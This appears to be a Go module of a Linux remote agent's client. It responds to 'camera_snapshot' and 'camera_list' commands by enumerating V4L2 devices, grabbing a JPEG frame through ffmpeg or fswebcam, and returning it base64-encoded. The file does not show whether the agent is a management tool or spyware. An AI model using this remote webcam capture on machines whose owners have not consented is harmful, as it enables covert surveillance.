//go:build linux package client import ( "fmt" "os" "os/exec" "path/filepath" "strings" ) func handleCameraAction(action, device string) (handled bool, success bool, message string) { switch action { case "camera_snapshot": raw, err := captureLinuxCameraJPEG(strings.TrimSpace(device)) if err != nil { return true, false, err.Error() } b64, err := encodeCameraSnapshotJPEG(raw) if err != nil { return true, false, err.Error() } return true, true, b64 case "camera_list": devs, err := listLinuxCameraDevices() if err != nil { return true, false, err.Error() } if len(devs) == 0 { return true, false, "no V4L2 devices found under /dev/video*" } return true, true, strings.Join(devs, "\n") default: return false, false, "" } } func listLinuxCameraDevices() ([]string, error) { matches, err := filepath.Glob("/dev/video*") if err != nil { return nil, err } var devs []string for _, p := range matches { if fi, err := os.Stat(p); err == nil && (fi.Mode()&os.ModeCharDevice) != 0 { devs = append(devs, p) } } return devs, nil } func captureLinuxCameraJPEG(preferred string) ([]byte, error) { devs, err := listLinuxCameraDevices() if err != nil { return nil, err } if len(devs) == 0 { return nil, fmt.Errorf("no /dev/video* devices — connect a USB camera or install v4l2 drivers") } device := devs[0] if preferred != "" { for _, d := range devs { if d == preferred { device = d break } } } if ff, err := exec.LookPath("ffmpeg"); err == nil { out, runErr := exec.Command(ff, "-hide_banner", "-loglevel", "error", "-f", "v4l2", "-i", device, "-frames:v", "1", "-q:v", "2", "-f", "image2", "pipe:1", ).CombinedOutput() if runErr == nil && len(out) >= 100 { return out, nil } if runErr != nil { hint := strings.TrimSpace(string(out)) if hint != "" { return nil, fmt.Errorf("ffmpeg v4l2 capture failed: %v (%s)", runErr, hint) } } } if fw, err := exec.LookPath("fswebcam"); err == nil { tmp, err := os.CreateTemp("", "af-cam-*.jpg") if err != nil { return nil, err } tmpPath := tmp.Name() _ = tmp.Close() defer os.Remove(tmpPath) out, runErr := exec.Command(fw, "-q", "-d", device, "-r", "1280x720", "--no-banner", tmpPath).CombinedOutput() if runErr != nil { return nil, fmt.Errorf("fswebcam failed: %v (%s)", runErr, strings.TrimSpace(string(out))) } raw, err := os.ReadFile(tmpPath) if err != nil { return nil, err } return raw, nil } return nil, fmt.Errorf("camera capture unsupported: install ffmpeg or fswebcam on the agent host") }